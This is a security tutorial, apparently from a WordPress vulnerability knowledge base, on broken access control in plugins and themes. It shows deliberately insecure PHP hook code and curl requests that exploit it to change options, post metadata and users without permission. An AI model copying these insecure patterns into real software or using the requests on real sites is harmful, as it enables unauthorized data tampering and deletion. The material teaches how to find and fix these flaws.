Skip to content

Broken Access Control

Introduction

This article covers cases of possible Broken Access Control on WordPress. This includes improper hook/function/code usage inside of the plugin/theme which can be used to access or update sensitive information.

By default, processes on hooks or functions that are used on plugins or themes donโ€™t have a permission and nonce value check, thatโ€™s why the developer needs to manually perform a permission check using current_user_can function and the nonce value check using wp_verify_nonce, check_admin_referer or check_ajax_referer functions.

init hook

For more details on the init hook, please refer to this documentation.

Example of vulnerable code:

add_action("init", "check_if_update");
function check_if_update(){
if(isset($_GET["update"])){
update_option("user_data", sanitize_text_field($_GET_["data"]));
}
}

To exploit this, an unauthenticated user just needs to visit the front page of a WordPress site and specify the parameter to trigger the update_option function which in this case will modify sensitive information.

Terminal window
curl <WORDPRESS_BASE_URL>/?update=1&data=test

admin_init hook

For more details about the admin_init hook, please refer to this documentation.

Example of vulnerable code:

add_action("admin_init", "delete_admin_menu");
function delete_admin_menu(){
if(isset($_POST["delete"])){
delete_option("custom_admin_menu");
}
}

To exploit this, the unauthenticated user just needs to perform a POST request to the admin-ajax.php and admin-post.php endpoints specifying the needed parameter to trigger the delete_option function to remove sensitive data.

Terminal window
curl <WORDPRESS_BASE_URL>/wp-admin/admin-ajax.php?action=heartbeat -d "delete=1"

wp_ajax_{$action} hook

For more details on the wp_ajax_{$action} hook, please refer to this documentation.

Example of vulnerable code:

add_action("wp_ajax_update_post_data", "update_post_data_2");
function update_post_data_2(){
if(isset($_POST["update"])){
$post_id = get_post($_POST["id"]);
update_post_meta($post_id, "data", sanitize_text_field($_POST["data"]));
}
}

To exploit this, any authenticated user (Subscriber+ role) just needs to perform a POST request to the admin-ajax.php endpoint specifying the needed action and parameter to trigger the update_post_meta function to update arbitrary WP Post metadata.

Terminal window
curl <WORDPRESS_BASE_URL>/wp-admin/admin-ajax.php?action=update_post_data&update=1 -d "id=1&data=changed"

wp_ajax_nopriv_{$action} hook

For more details on the wp_ajax_nopriv_{$action} hook, please refer to this documentation.

Example of vulnerable code:

add_action("wp_ajax_nopriv_toggle_menu_bar", "toggle_menu_bar");
function toggle_menu_bar(){
if ($_POST["toggle"] === "1"){
update_option("custom_toggle", 1);
}
else{
update_option("custom_toggle", 0);
}
}

To exploit this, any unauthenticated user just needs to perform a POST request to the admin-ajax.php endpoint specifying the needed action and parameter to trigger the update_option function.

Terminal window
curl <WORDPRESS_BASE_URL>/wp-admin/admin-ajax.php?action=toggle_menu_bar -d "toggle=1"

register_rest_route function

For more details on the register_rest_route function, please refer to this documentation.

Sometimes, developers donโ€™t implement a proper permission check on the custom REST API route and use the __return_true string as the permission callback. This makes the custom REST API route to be publicly accessible.

add_action( 'rest_api_init', function () {
register_rest_route( 'myplugin/v1', '/delete/author', array(
'methods' => 'POST',
'callback' => 'delete_author_user',
'permission_callback' => '__return_true',
) );
} );
function delete_author_user($request){
$params = $request->get_params();
wp_delete_user(intval($params["user_id"]));
}

To exploit this, any unauthenticated user just needs to perform a POST request to the /wp-json/myplugin/v1/delete/author endpoint specifying the needed parameter to trigger the wp_delete_user function.

Terminal window
curl <WORDPRESS_BASE_URL>/wp-json/myplugin/v1/delete/author -d "user_id=1"

Other cases could exist where developers already specify a proper function on the permission_callback parameter, however, the permission check implemented inside the function itself is not proper to what process can be done from the REST API route callback function.

Contributors

rafiem